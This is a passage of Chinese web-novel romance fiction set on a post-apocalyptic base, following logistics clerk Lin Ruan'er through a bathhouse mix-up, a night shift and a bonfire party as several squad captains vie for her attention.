言渡瞥见了林阮儿离去的身影,她背影小小的一个,穿着白衬衫和短裤,白衬衫外面罩着个纱的透明外套,林阮儿吃完饭累了就回到屋子歇息去,周末才能有的睡午觉的时间,睡了差不多一个半小时,她就想去洗个澡,因为天气实在太热,她的后背、额头总是被汗液打湿,得冲个凉水澡。
先前,每人都会被分发下来一个小的浴包,林阮儿把需要换洗的衣服放进了浴包内,提着到澡堂去,澡堂在基地最东边,女的在左边,男的在右边,中间隔着一道墙。
今天澡堂人不多,外头安安静静的,她推开门进去,里头热气腾腾的,都是水蒸气,看不太清楚,她把盆放在架子上,就开始弯着腰解鞋带,然后就把鞋脱掉,换了拖鞋,脱了外套,她站起身,往里头走。
里头的水蒸气更大了,呛得人有点喘不过气,她只得眯着眼往前走。
走了几步,忽然撞上什么人,她一头撞上去,脑门磕在一个硬邦邦的东西上,疼得她往后退了一步。她捂着脑门抬头一看,愣住了。
面前站着一个男人。
男人就这么只穿着裤子,而光着上身,胸膛上的肌肉一块一块的,腹肌也是一道一道的,她往上看了看,看见那张脸了。
是早上那个巡逻的队长,她用望远镜看到的那个人。
林阮儿的脑子嗡的一下炸了。
她站在那儿,愣愣地看着他,半天没反应过来,自己明明进的是女澡堂,怎么会撞见男的?
男人朝她走近,因为水的雾气,根本看不到她脸已经红透了,幽幽地道:“进错澡堂了,这是男澡堂。”
都怪她一直心不在焉,刚进来时她还在想着今天中午的罐头,她拿了一个不知道什么的罐头,肉特别硬,几乎咬不动,像是放了很久的劣质的味道,就只是吃了米饭这么垫巴两口,结果竟然走错了……
林阮儿的脸一下子烧起来,她站在那儿不知所措。
那个男的站在那儿,低头看着她,从上到下,又从下到上,最后落在她脸上。
林阮儿她想说点什么,但脑子转不动,过了好一会儿,她终于挤出一句话:“我…是我走错了。”
那人没动,还是看着她。
林阮儿又说:“对不起啊,我这就走。”
她往后退了一步,刚要转身,那人忽然开口了,问:“你是哪个部门的?”
林阮儿愣了一下,抬头看他。
这么丢脸的事,她并不想回答他,结果男人又问了一遍。
她只好回答:“后勤部的。”
林阮儿被他看得心里发慌,她低下头,想绕过他往外走,但他就站在那儿,挡在了路中间,她得从他旁边挤过去,于是她吸了口气,往前走了一步,走到他跟前的时候,她忽然觉得胳膊上一沉,低头看,是她的外套,刚才脱了挂在架子上那件,不知道什么时候被他拿在手里了。
林阮儿的胳膊露在外头,细细的,白白的,被澡堂里的热气蒸得有点发红,男人盯着她的胳膊,看得出了神。
过了一会儿,他抬起头来,看向她的眼睛,两个人的目光对上了。
“林阮儿,是吗?”
林阮儿嗯了一声,外边的水龙头似乎没关严,滴答滴答往下漏水,他忽然往前迈了一步,她往后退了一步,渐渐后背撞上了墙面。
“你要留在这里?”他半开玩笑地道。
两人的距离很近,近得他能闻到她身上的淡淡香味,林阮儿的手紧紧地攥着那件外套,不清楚他的意思。
言渡伸手打开在她身侧的花洒,说:“我要洗澡了,我倒并不介意你这位美丽的小姐留在这里,就怕别人进来就不好了。”
……
林阮儿从来没想过要留在这里,她没说话,一溜烟地就跑了,这次比之前跑的都快,一步也不敢在这里逗留了,外头来了一阵风,稍稍吹散了里面的一点炙热,她瞥了一眼门牌子,写着男澡堂,她站在门外,大口喘气,她此刻的心跳跳得很快,站了好一会儿,她转身,往女澡堂那边走了。
这天,林阮儿需要上夜班,原本后勤部不用上夜班,但这几日由于事情繁多,需要留一个人晚上在后勤仓库这边,于是今天就轮到了林阮儿排班,基地的夜跟白天几乎是两个世界,白天的基地人来人往,交换物资的,修器械的人不少,等到了夜里,走廊灯关掉一大半,只剩下几盏昏黄的,照着空荡荡的通道,脚步声都能传出去老远,尤其是仓库这边,更是空阔不少。
林阮儿把后勤仓库的门推开,往里看了一眼。
里头黑漆漆的,啥也看不见,她伸手在墙上摸了半天,找到开关按下去,头顶的灯管闪了几下才亮,仓库里头堆得满满当当的,一边是防潮垫和睡袋,一边是不知道哪个小队翻出来的旧衣物,还有几个铁架子等,她就走到靠窗的那张桌子前头,把椅子上堆着的一摞旧报纸搬到地上,坐下了,桌上有盏小台灯,是她自己拿来的。
然后,她把自己的包放桌上,从里头掏出一个本子,一支笔,开始对仓库这几天进出的东西做记录,等全部记录完了,就能在这边折叠床子上躺着睡一会儿了。
三个小时后,林阮儿准备躺下睡时,忽然听到了有一阵声音,原来是起风了,窗户玻璃被吹得轻轻响,林阮儿抬头看了一眼窗户,窗户是老式的,插销有点松,她站起来走过去,把插销摁紧了,又拉了拉,确定拉不动了以后才回去继续躺下。
不对劲,刚才那个声音还在,不仅仅是风,那声音很轻。
林阮儿的神经一下就绷紧了,她侧着耳朵听,似乎又没声音了,安静得好像刚才那一下是她听错了一样,林阮儿因为有了上次的事情,总觉得不能再掉以轻心,于是壮着胆子循着声音的方向走。
她从桌上摸了一把手电筒,没敢开,握在手里当棍子使,她用手电照了每一列的仓库走廊通道,发现没有人,继续往前走,这回不止是动静了,而是脚步声音,林阮儿不敢回头,因为声响是从她的身后传来,她做好准备,猛地转过身,手电筒举起来就要砸下去,结果一转身,有人握住了她的手腕,力气很大,借着手电的微弱昏黄的光,她看清了那张脸,秦槐。
又是他。
秦槐靠在一个货架旁,疑
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惑地看着她手里的东西,林阮儿愣住了,手电筒还举在半空中,半天没放下来。
“你怎么在这里?”
秦槐没动,还是那样靠在货架旁,歪头看她:“怎么,不让进?林登记员这是……把我当作坏人了?”
林阮儿:“可你怎么进来的,我已经把门锁了。”
“在你锁门前,我在这里待得睡着了。”
林阮儿应该猜到是他的,应该猜到是他在这边睡着了,她把手电放了下来,秦槐关切地问:“没把你手腕攥疼吧?”
“没有,还好。”
“你那手腕就一点点粗,我不敢太用力。”
林阮儿:“可,你不是已经离开基地了吗?”
秦槐看着她,眼神在她脸上停了一会儿,忽然往前迈了一步。
林阮儿下意识往后退了半步。
“你很想让我离开吗?”秦槐问。
她没说话,他也没再往前,就站在那儿,垂眼看她,走廊里那盏顶灯在他背后,把他的脸照得一半亮一半暗,他头发睡得有点乱,音调也是懒沉沉的,秦槐说:“我在这里睡了一觉,睡得还挺好的。”
林阮儿抬眼看他。
“这儿挺安心的,我总能在这里睡得更好一点,而且我很喜欢闻这里清爽的味道。”
林阮儿感到不解,仓库哪有什么好闻的味道,就是一股灰尘的味道,还有一股很淡的潮味儿,怎么会有好闻的味道呢,林阮儿摇摇头:“我好像没有闻到你说的那种好闻的味道。”
秦槐凑近了她的耳畔,低声:“阿,你自己可能不太在意吧,我能闻得到,因为是你身上的。”
他们距离近在咫尺,男人身上混着一股烟草的味道,他的声音就在她耳边,低低的,带着点笑。
她甚至能感觉到他的呼吸,一下一下的,很轻。
秦槐:“是你身上的香味,茉莉味道。”
林阮儿用的洗发水沐浴露就是这个味道,他说迷恋的那股味道,是她自己身上的……
“继续睡吧,我不打扰你。”
林阮儿走到躺椅处,旁边有张桌椅,秦槐在椅子上坐下,林阮儿对他说:“现在我把门打开,你就能出去了。”
秦槐:“在这里凑合一晚吧,明天一早我就要走了。”
“好吧。”
等她躺下,秦槐随意地反坐着椅子,有点睡不着了,林阮儿能够感受得到他的视线,然后是一件外套搭在她身上,他对她说:“你就这么睡,起来了容易受凉,披着吧。”
“那你怎么办?”
“我一直这样睡惯了,还觉得有点热。”
说起热,倒不是真的热,身体燥热十分却是真的,林阮儿问他为什么不在原来的位置上,至少那边地方大,他能睡得舒服些,秦槐:“既然林登记员在这里,就抱团取暖一下吧,你刚收到惊吓了吧,我怕你一会儿做噩梦,到这边,我心里踏实些。”
秦槐对她笑了下,把头偏开,看向窗户那边,窗玻璃黑漆漆的,什么也看不见,就映着他自己的影子。
“外面还真起了风。”秦槐说。
“嗯。”林阮儿回应他。
“这几天晚上都这样。”
“嗯。”
秦槐忽然问:“林登记员,不会以为我是贼吧?结果进来的是我,你更害怕了?”
林阮儿定定地说:“我没害怕。”
“不怕,但举着手电筒要砸我?”
“因为我以为是贼。”
秦槐点点头,像是接受了这个说法,他往后仰了仰,后脑勺靠在椅背,眼睛看着天花板。
过了一阵,没有声音了,秦槐站起身,看到林阮儿已经在躺椅上面睡着了,她的呼吸浅浅的,睡得倒是安稳。
他蹲下身,仔细看着女人的长睫、小巧精致的鼻梁,她的嘴巴虽然薄,但还是有一种肉感,水润中透着点可爱,看着看着她,不自觉地就嘴唇会微微上扬了起来……
第二天一早,林阮儿醒来,身上还搭着秦槐的衣服外套,已经六点了,她准备把秦槐叫醒,秦槐睡得很熟,坐在凳子上,两只腿搭在桌沿旁,抱着臂睡,男人的个子高,所以这样的睡姿感觉会很不舒服,就那么长长的一条,林阮儿摇了摇他的胳膊,轻轻用手指点,他并没任何反应。
后勤部有规定的,晚上不能有人留在这边,要是等仓库开门被人发现了就不好,林阮儿继续晃,稍微大幅度地晃他,只是摸到他的小臂,都能感受得到那流畅紧实的线条,还是不醒。
他会不会怕痒啊,林阮儿于是想到用手搔搔他的鼻尖,她的动作很轻,秦槐其实感觉到了,但仍旧没有要醒的意思,算了,要不还是她自己拿上本子和笔先走吧,她这么想,整个身体摔在男人的怀里。
35. 第 35 章
秦槐的手箍住了她的腰际,但他的手环得很虚,他睁开了眼,说:“真没想到,林登记员还会用这种挠痒的方式啊。”
“天亮了,我们都该走了。”
秦槐哦了声:“我说呢,要不林登记员也不会对我这么主动啊。”
她说:“可以放我离开了吧?”
秦槐笑了:“我手并没放在你背上。”
她赶紧站起了身,确实,他的手没再搭上来,这时,秦槐坐起来,揉了揉脖子,还真有点酸,林阮儿走回桌边,把本子和笔收进包里,她把包挎上,回头看了秦槐一眼:“我走了。”
秦槐点了点头,道:“拜!林登记员。”
林阮儿走之前和他说,如果今天离开基地,注意安全。
秦槐坐直身,瞥见她的背影,没有想到她还挺关心人的。
林阮儿走出后勤仓库,昨晚还真没太睡好,做了一晚上的梦,还是回到自己的小屋里面睡得香,现在还早,她的头迷迷糊糊的,还不很清醒,准备回到小屋时,走到一个拐角处,她一转弯,差点撞上人。
是那天的那个人。
言渡:“林阮儿是吧?我们又见面了。”
林阮儿因为上次澡堂的事,最怕的就是见到他,他站定,他看了她一眼,又看了看她身后的方向。
“怎么了?慌慌张张的。”
林阮儿:“对不起啊,撞到你了,我先走了。”
“哎!等等。”言渡叫住了她。
“我还没有向你自我介绍一下,我叫言渡,是二队队长,跟带你来基地的柯队是很好的朋友,年龄25,单身,我……”
林阮儿困得已经站不稳,只好说:“好的,言队长,我有事所以就先走了。”
对林阮儿来说,现在,什么事情都比不上睡觉和吃饭重要,现在的她只想好好再回去埋头苦睡一觉,然后其他的事再说吧。
言渡还没说完,林阮儿就离开了,果然,他看上的人越来越有意思了。
林阮儿进到屋里,卸下了包,呼呼地大睡了起来,睡前,她想秦槐应该已经走出仓库了吧。
隔天,又是一个平常的日子,林阮儿总算是休息好了,忙了一个上午时间,每天午饭就是她的动力,希望食堂饭不会像上次那样,她进入到了食堂里,之前食堂就是大锅菜的味道,煮白菜,煮土豆,有时候有点肉末,老远就能闻得到,但今天不一样,今天闻着像是有很香的肉味儿,而且不止一种肉味。
她走到窗口前头往里看了一眼,果然,今天的菜是红烧肉,总算是有点油水了,居然还有鱼肉,配菜仍旧是一些萝卜和土豆,旁边还有一盆米饭,再往边上,居然还有一筐馒头,白白胖胖的,冒着热气。
打饭的阿姨看见她,拿勺子敲了敲盆沿:“快点快点,后头还有人呢。”
林阮儿赶紧把饭盒递过去,阿姨舀了一勺红烧肉扣在她饭盒里,又给她打了米饭,完了往她手里塞了个馒头。
很奇怪的是,这次打饭阿姨的手不抖了,还给她盛了不少呢,尤其大的肉块还给她盛了不少。
“阿姨,今天什么日子啊?”林阮儿问。
阿姨头也不抬:“不知道,上头发的,说是物资队带回来一批好东西,让大伙儿吃顿好的。”
林阮儿端着饭盒往里走,找位置坐,她正找着呢,忽然有人喊她:“林阮儿,这儿!”
她顺着声音看过去,是后勤部的小江,小江坐在靠窗的那张长桌边上,
正冲她招手。
林阮儿走过去,在他对面坐下。
小江把面前的东西往她那边推了推:“吃不吃水果?今天还有这个。”
林阮儿低头一看,桌上放着一小盘切好的苹果和菠萝。
“这是哪儿来的?”她问。
小江说:“窗口发的,一人一份,我的给你,我不爱吃这个。”
说了自己不爱吃,但他还是领了,专门为林阮儿领的水果。
她于是很感激地拿到水果,然后打开饭盒开始吃饭,红烧肉呈现一种透亮的红褐色,肉块方方正正的,层次分明,炖煮过后,瘦肉十分紧实,肥肉是一种半透明状,轻轻的一夹,肥肉的地方就会非常有弹性的颤动,入口即化,炖得很烂,鱼肉是清蒸的做法,但可以尝得出来鱼肉本身的鲜味,鱼皮在蒸熟了后会微微地爆开来,露出下面洁白的蒜瓣肉,有那种鱼的咸香,没有一丝腥味,她咬了一口白馒头,又吃了一口饭,真的好好吃啊,林阮儿吃得挺香。
小江坐在对面,没动自己盛饭的铁盒,就那么看着她。
林阮儿吃了几口,抬起头:“怎么了?你怎么不吃啊?”
小江有点羞涩地说:“没什么,就是看你吃得很香。”
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林阮儿低下头继续吃,过了一会儿,小江又开口了:“林阮儿,你、我……”
“嗯?你是有事要跟我说么?”
小江顿了顿,挠了挠头,先扒拉几口米饭,吃完之后,才鼓起了勇气问:“你有没有男朋友啊?”
林阮儿筷子停了下,说:“没有。”
小江瞬间松了口气,这就是说他还是有机会的,人人的机会都是均等的。
“那么,你可以……”
话音未落,忽然有人在林阮儿的旁边坐下了,她扭头一看,是柯夜。
柯夜端着个饭盒,在她旁边的位子上坐下来,离她很近,他把饭盒往桌上一放,看了对面的小江一眼,又看了林阮儿一眼。
“聊什么呢?”他问。
林阮儿说:“没聊什么。”
小江看着柯夜,脸上的笑收了收,但很快又笑起来了:“柯队长也来吃饭啊。”
柯夜嗯了一声,拿起筷子,夹了块肉放进嘴里,他嚼了两下,说:“今天伙食不错。”
小江说:“是啊,难得可以吃回这么好的。”
柯夜没再接话,低头吃自己的。
林阮儿也没说话,继续吃饭,但气氛有点怪,她也说不上来哪儿怪,就是觉得对面小江的眼神老往她这边瞟,旁边柯夜周身围绕着一股莫名低气压。
小江忽然开口了:“林阮儿,你下午有什么安排啊?今天事儿少,后勤部下午两天以后就几乎没什么活儿了。”
林阮儿说:“我也不知道,就随便转转或者回屋睡觉吧。”
小江说:“这样,你把下午的时间腾出给我,可以吗?”
林阮儿还没来得及拒绝,旁边的柯夜开口了:“她下午有事。”
小江倒是愣了一下,看着柯夜:“什么事?”
柯夜没看他,低头夹菜,语气平平的:“我需要她帮我个忙。”
连林阮儿自己都不清楚柯夜让自己帮什么忙,她疑惑不解地转头看柯夜,想问他什么时,小江张了张嘴,道:“如果柯队长的事情不很重要的话,不然还是把时间腾给我好了。”
柯夜的表情更冷,沉声:“我需要她。”
小江他看了看柯夜,又看了看林阮儿,脸上那点笑有点挂不住了。
林阮儿只好问是什么事,柯夜一时间找不到借口,说等吃完了饭和她单独说。
36. 第 36 章
三人吃好了饭,林阮儿吃了水果,甜滋滋的,那味道简直棒极了,这会儿,小江先走,林阮儿问:“柯队长,现在可以告诉我了吧。”
柯夜:“我可以陪你一起转转。”
“你不是需要什么事要我帮你的?”
“刚才有,现在想想不用了,阮儿,你要知道,你身边的人多数不可信,不用跟他们深入接触,在雨燕基地,我和你算是第一个认识了的,你大可以相信我,你了解了么?”
林阮儿点点头:“哦,了解。”
“那就好,那你有什么安排吗?”
“没有,但我吃完了饭居然有点困了,柯队长……”
柯夜看她这幅样子,只好说:“那行,我还是不难为你了,下午的时间你自行安排就好。”
“好的。”
下午四点,林阮儿睡了两个小时了,她起身,到水房打水喝,这时候,有个士兵把一封信交到了她手里:“后勤部的林阮儿是吧?”
“我是。”
“你把这个送到秋队长的办公室去,秋队长在训练场那边,你知道在哪儿吧?”
林阮儿点点头。
士兵准备离开时,她问:“秋队长是在西边训练场还是东边的训练场?”
“东边的,要是你不知道,一会儿跟我来。”
于是林阮儿先去打好了水,然后跟他一起去,林阮儿问:“你好,我能问一下秋队长为什么要我送这封信啊?”
那位士兵说:“哦,我也不清楚,是秋队长说的,如果见到了你,就让你送,原本我还想着,我送不就行了,非得转手一个人干嘛,再说,你还是后勤部的,这事儿又跟你没有关系。”
林阮儿比他还要纳闷呢,只好跟他一起走到了训练场处,早远远地,她就听到了有人在喊口号,操场上有几十号人,穿着统一的训练服,正在跑圈,虽然下午了,日头已经很毒辣,那些士兵们后背已经被汗水出湿了一大片,跑过去的脚步声音,非常铿锵有力。
秋荃站在操场边上,背对着她。
他穿着一件黑色的短袖,后背被汗浸透了,袖子卷到肩膀那儿,露出两条胳膊,肌肉的线条很明显,他手里拿着个本子,正在往上面记什么,偶尔抬头看一眼跑过去的人,让他们跑步可以快一点、别停下来之类的话。
秋荃的脸色并不很好:“中午那么好的伙食,都没吃饱饭!就你们这身体素质,得亏是我训,要是韩队长训你们,估计两天就把你们体能干趴下了!继续,韩队让我看着你们训练,就这么水准,一会儿他来,我可没法向他隐瞒事实啊。”
秋荃一边看着这帮士兵,一边叹气,心想这老韩的日常训练可真不好做啊,这会儿,有人在他身后站定,是有位帮他收信的士兵回来了。
来人不仅仅是那位士兵,还有林阮儿。
秋荃身后跑圈的士兵目光瞬间定在林阮儿身上,秋荃:“最后一圈,跑完了别停,拉伸。”
那些人应了一声,声音稀稀拉拉的,但脚步没停。
秋荃这才回过头来,问:“林阮儿。”
林阮儿身旁的士兵对秋荃说:“不是秋队长您说过的,只要见到了林登记员,就想办法带她过来见您吗?”
秋荃咳了一声清清嗓子,示意他不用继续说下去。
“行,你走吧,办事办得好,下回给你奖励三个俯卧撑。”
“秋队,你不人道啊。”
“成,奖励你下午我午饭的大鸡腿给你行了吧。”
“那敢情好。”
这会儿,林阮儿就赶紧把信封递了过去:“这是刚走的那位士兵让我把这封信交给秋队长的。”
她解释完,秋荃负着的手松开来,拿了她的信:“好。”
“那我可以走了吗?”
“这么快就走?就这么不想见到我?”他定了定神,又道,“最近,林登记员真是忙,抽不出一点工夫啊,现在见到我,又很快就想走,看来根本没把我秋荃当回事。”
林阮儿说:“秋队长,我就是平时忙一些后勤的事。”
秋荃:“我们很久没有见面了,周末可以抽出些时间,我可是把你当作我很好的‘朋友’啊。”
林阮儿想了想:“但,似乎也没多久吧。”
可能就五天,一周都没到。
秋荃:“林阮儿,你估计已经忘了你踩到地雷是我救了你吧,哎!我心都寒了,真没想到你压根没把我放在心上。”
林阮儿不知道该说什么,秋队长竟然把自己已经看作是很好的朋友了,这令她感到意外,也很开心,只好说明了自己的情况。
秋荃:“后勤部最近确实忙,上夜班的话,会累吗?”
“还好吧,会有一点点,不过适应了就行,一开始有点累,后来几天就完全能在那张折叠床上睡了,就是有点硬,浑身会有点酸。”
秋荃:“既然这样,下次可以把我的行军床给你,那个改造过的,绝对不会硌到你。”
林阮儿:“不用不用,现在已经不用了。”
“你不喜欢么?”秋荃的眼神有些失落。
“也不是,就是觉得不合适,而且太麻烦了。”
“就这样说定了,那床是新的,本来想着改造过后用,可后来就没用上,所以你不用对此顾虑,可以么?”
林阮儿不好再三拒绝他,只好先同意了
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他的建议,这边,已经跑完圈的士兵已经三三两两地散开,有的在压腿,有的在喝水,有的直接累到躺地上了,有个兵往这边看了一眼,跟旁边的人嘀咕了一句什么,旁边那人也往这边看,发现秋荃队长和后勤部的林阮儿在一起。
两人正说着什么话,他们不禁开始讨论了起来。
“你说,他们在说什么呢?秋队都已经不管我们了?”
“不是跑完了么?现在是自由活动时间,本来秋队就懒得管我们,韩队临时有事,才让他带我们跑圈拉练的,就是那位觉得眼熟。”
“还能有谁?就林阮儿啊,长得特别白净漂亮的,只要她在,都是人群里的焦点知道不?前哨站来的人,多少人觊觎呢。”
另外一名士兵也开始加入他们,说:“诶?你们说的就是她?”
“可不?依我看,咱韩队一个平时那么严肃又冷漠的人,也是难过美人关,给人家抓娃娃,还给她一个什么挂坠,护身符之类的。”
“这话你听谁说的?”
“这可不是我听说,是我亲眼所见,咱韩队也算是开了窍,之前什么时候做过这种肉麻的举动了?对吧,不是都说女人有那个什么第六感?我感觉我也有,而且特别准,我的直觉就是韩队绝对绝对喜欢林阮儿,板上钉钉的事儿了。”
“你要这么说,还真是啊,那你要这样说的话,岂不是……”
秋荃转过身,冲操场那边喊了一声:“都站好了,集合!”
那群人立刻从地上爬起来,集体都往这边跑,到了一个固定位置站定,尽快地排列队伍,非常齐整地站好了。
秋荃:“不管你们就乱了套,现在等你们韩队来,他来再给你们下达别的命令,都听懂了?”
“懂了懂了,秋队,那您呢?”一位队伍中的士兵问。
秋荃:“什么时候管得了队长了?”
“您不会要去跟那位小美女约会吧?”
“问这个干什么,跟你有关系?”
“跟我是没什么关系,但跟我们韩队有关系,那位后勤部的,是我们韩队先看上的人,就算要约会,那也得等韩队来了再说,您说对吧,秋队长。”
秋荃看了看在一旁站着,身穿后勤制服的林阮儿,制服穿在她身上,依旧是藏不住的好身材,她随便扎了个发辫,清清爽爽的,有时候,微风吹乱了她的发梢,她把吹乱了的发稍用手夹在而后,小鹿一般澄澈的双眼,朝着这边望了望,惹得秋荃忍不住心又开始乱了起来,迟迟没法克制他的内心。
她好可爱啊,好纯的眼神,懵懵的模样,嘴角时不时地露出了微笑,只在他的脑海里化为了几个字:真的好想抱她亲她。
37. 第 37 章
远处,韩司昱款步走来。
问:“秋队,他们表现怎么样。”
那位士兵:“韩队,我要报告!”
韩司昱瞥了他一眼,沉声:“说。”
“秋队他和那位小美女……”
话音未落,韩司昱目光看向了林阮儿,然后又回看了秋荃一眼。
秋荃:“你的兵误会我要跟她约会。”
韩司昱松口气:“误会啊,要是真的,秋荃,你得先征求我的同意。”
这下轮到秋荃困惑:“跟谁约会,还得跟您韩大队说?”
“别人不管,她不行。”
秋荃愣了,心里头那股气就往上涌,先前是柯夜,三天两头往林阮儿那边跑,送这个送那个的,表现十分殷勤,现在倒好,韩司昱也是,来了。怎么着,就跟自己不对付是吧?
他张了张嘴,想说点什么,又觉得说什么都不对。
韩司昱也没等他说话,而是径直地朝另一边走过去,秋荃眼神顺着看过去,他走向了林阮儿。
韩司昱走到她跟前,林阮儿抬头看他,笑了:“是韩队长。”
“嗯。”韩司昱往她跟前凑了凑,在她耳畔,压低声音说了几句话,两人看上去十足亲密。
秋荃站得远,听不清说的什么,就看见林阮儿点了点头,韩司昱说完就走了,经过秋荃身边的时候连看都没看他一眼。
平时的兄弟情荡然无存了是吧?和刚才的态度完全不一样了。
等韩司昱继续带兵训练时,秋荃问林阮儿:“韩队,刚才跟你说了什么?”
“他说今天晚上有篝火晚会,物资队带了不少好东西,再庆祝咱们基地各个队伍都消灭了大范围丧尸,部分异化植物,所以让我去。”
秋荃倒是听说了,点头:“估计到时大家伙儿都去,你要去?”
“去看看也好。”林阮儿说。
秋荃:“到时人多,你就坐我旁边。”
林阮儿:“没关系,我随便坐一个位置就行。”
到了晚上,围绕篝火的是一个用原木垒成的圆,东侧一张长桌摆着一些简易的餐食,说是晚会,就是大家集中在一起唱歌、喝酒,明灭灯光映在每个人的脸庞,三五成群的士兵居多,林阮儿坐在一个角落的座椅上,已经闻见了一股淡淡的葡萄酒味,她只喝白水,不过篝火那边有烤棉花糖的,她就去那边拿了一个吃。
她回到自己的位置,因为是晚会,所以穿得稍微好看些,一条白色长裙,长到脚踝,裙子上面有细细的碎花,腰那边收进去,蓬蓬的袖子是那种宽松的,风一吹就鼓起来,她头发放下来了,披在肩上,发尾有点卷,走起路来会一晃一晃的。
哪怕是坐在最角落,她依旧吸引了不少人的目光,那些正在喝酒的、烧烤的、聊天的士兵们大多都停下来了,扭过头去看她,有个正往嘴里塞肉的,肉掉地上了都没发现,有几个站着的,手里的杯子晃了晃,酒洒出来也不知道。
夜色很深,篝火的火光映在她脸上,衬得她的脸更好看了。
秋荃很早就注意她来了,林阮儿在人群里实在过于凸显的美貌,要想不注意到也不可能。
他准备上前去,跟林阮儿旁边的士兵换个位置,那名小个子的士兵看到林阮儿坐在了自己的身边,内心一喜,只是激动的情绪不能过于表现出来,女人身上的淡淡香气被他闻到,原来有人连发丝都可以很漂亮,他凑近,想要闻闻她的头发味道,这时,谢忱朝她招手,站定在她身侧。
“谢忱,是你。”
谢忱:“怎么?你不会忘了有我这个人吧。”
“没有,很开心你能来。”
谢忱站得老远,柯夜都能看到他的颧骨升天,他拿了两串已经烤好了的的肉,跟林阮儿说:“阮儿,你尝尝这个,我刚烤的鸡翅,还热着呢。”
林阮儿:“闻着就好香。”
柯夜:“吃起来更香,你尝尝看。”
林阮儿尝了一口,鸡皮烤得焦焦的,味道直接出来了,孜然的香味和肉的香,油水流在口腔里,带着点辣椒,味蕾的体验简直到达了极大化,而秋荃队长,手里则是直接端了一盘切好的水果,递给她:“吃这种烧烤,还得搭着水果,不那么腻。”
柯夜顶了顶腮,正在纳闷这位是从哪儿跑来的,许泰然许医疗官手里拿了瓶水,准备递给她。
林阮儿无奈地看着他,表示自己现在没手拿了,许泰然:“林登记员,你现在最需要的是水,我看你水喝完了,得及时的补充一下。”
林阮儿抬头:“好,那我等等拿。”
许泰然:“我先帮你拿着就好。”
等她吃完烧烤、水果,喝了水后,旁边又有两三士兵给她递过来一包饼干,还有拿面包的,拿罐头的,拿糖的,都往她跟前凑。
林阮儿被围在中间,手里拿不下那么多东西,就笑着说:“我吃不了这么多的,你们不用都给我。”
韩司昱站在旁边,看着她被一群人围着,也没说话,就站那儿看着。
后来林阮儿坐到篝火旁边的一块木头墩子上,旁边的人还是没散,坐的坐站的站,都围着她。
柯夜蹲在她左边,秋荃则是站在她右边,林阮儿想喝口水,发现瓶盖拧回去以后太紧了,拧了两下没拧开。
柯夜伸手:“我帮你。”
秋荃也伸手:“我来吧。”
两个人手都伸到那儿了,互相看了一眼。
韩司昱从后头走过来,拿过那瓶水,轻轻一拧就开了,递回给林阮儿。
林阮儿接过来喝了一口,冲他笑了笑。
柯夜和秋荃都没说话。
晚一点的时候,围在林阮儿身边的士兵都渐渐走了,这时候有人喝多了。
还是个小个子兵,他的脸已经完全醉得通红,走路摇摇晃晃的,朝着林阮儿那边走过去。
他原本就是在林阮儿旁边的位置上,准备回去原位。
男人并没想坐下,还想再次闻闻她的头发,下一刻,他站到林阮儿跟前,嘴里喷着酒气:“你真好看,我能,我……”
话没说完,旁边就有其他士兵跟在他身后,拉他:“行了行了,喝多了就回去吧,别在这儿了。”
小个子兵一甩胳膊,把那人甩开:“我没喝多!我就是想跟她说句话不行?”
他又往前迈了一步,差点摔了,手往前一抓,差点拽到了林阮儿的裙子边。
林阮儿往后缩了缩,韩司昱不知道什么时候过来的,一把揪住那小个子兵的后脖领子,把他往后一拽,那小子踉跄了好几步,直接坐地上了。
“喝多了就滚回去睡觉。”韩司昱声音不大,听着冷冷的。
小个子兵坐在地上,抬头看了看韩司昱,酒好像醒了点,爬起来,赶紧灰溜溜地走了。
旁边的人都没吭声。
林阮儿站起来,拍了拍裙子,抬头看韩司昱:“谢谢韩队长。”
韩司昱低头看她:“没事,你早点回去休息吧。”
韩司昱站定原地,要不是柯夜和秋荃还得看着他们手下那帮士兵,估计刚才扶她的人不会是自己。
韩司昱哭笑了下,忽然看到野人队长晨海就朝这个方向走来……<
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p>第二天一早,林阮儿刚起来,就听见外头吵吵嚷嚷的。
她穿好衣服推开门,看见几个人站在走廊那头说话,就凑过去听了听。
“野人战队跟六队的打起来了。”
“为什么啊?”
“不知道,就昨晚篝火晚会那边,韩队长跟野人队长,那个晨队长,两个人差点动手。”
“后来呢?”
“后来被人拉开了,没真打起来。”
“因为什么?两队长打架?”
“那就不清楚了,具体原因我不晓得,但好像是跟一个女的有关。”
林阮儿愣了一下,韩司昱队长和晨海队长吗?
他们怎么会打起来呢??
她不解。
接着,她就回到自己屋里收拾了一下,坐在床边发了一会儿呆,外头的吵嚷声慢慢小了,过了一会儿,有人敲门。
“谁啊?”
“我,秦槐。”
林阮儿站起来去开了门,秦槐站在门口,道:“早就该知道你住在这里。”
“你来了。”林阮儿说。
秦槐:“不请我进去?”
林阮儿让他走进来,把门关上,秦槐坐定在房间里的一张椅子上。
“秦槐,我昨天找你,是想让你帮我再送封信。”
秦槐抬头看她,眉头皱起来:“送信?送给谁?”
林阮儿正色:“上次的回信里,我忘了给代钏回信,而且我还加了几句话,银斗鱼和蓝斗鱼的事,要跟他再说下的。”
秦槐盯着她看了一会儿,然后站起来,在屋里走了两步,又站住了。
“林阮儿,上次我是临时送信,不是你的跑腿,再说,前哨站那边怎么会有那么多男人需要你回信?”
林阮儿确实收到不少的信,这些信不回复的话也不合适。
她准备开口时,秦槐道:“算了,谁叫我心软,在你原来的地方,到底认识了几个男人啊?”
林阮儿:“一个、两个……我数不过来了。”
秦槐被她气笑了,说:“行,下回这活儿别塞给我。”
“送信的人不是还没回来么?不然我不会找你的。”
秦槐愣了会儿,有点急:“什么?你不打算找我了?”
“嗯。”林阮儿点点头,觉得自己可能是让他感到些许麻烦了。
比起这个,他更怕的是她真不找自己了,于是说:“我根本不嫌麻烦,以后你要有问题第一个就要想到我。”
“啊?”
“知道了吗?”
林阮儿不了解他的意思,只能点头。
她把信纸折好,找个信封塞进去,按紧了然后她拿着信给他,秦槐很想知道信里面的内容,可惜他什么也看不到,叹了口气,拉开了门。
等秦槐离开后,林阮儿走出木屋,撞见了韩司昱。
“韩队长,您怎么在这儿?”
韩司昱:“我在等你,昨晚睡得还好么?”
“挺好的。”
韩司昱点点头,走了几步又停下来,背对着她说:“以后晚上少穿裙子出来,不安全。”
“昨天晚会有发生什么吗?”
“什么?”
“韩队长和晨海队长,我听说你们昨晚因为什么打了起来。”林阮儿定定地道。
韩司昱看她一副紧张的样子:“你紧张我?”
“只是想知道原因。”
“那帮小兔崽子果然不盼我点儿好,随随便便谣传,跟晨队长聊个天也能被传成这样,话说回来,刚才,你真没担心我?”
38. 第 38 章
韩司昱弯腰,跟她的视线平齐。
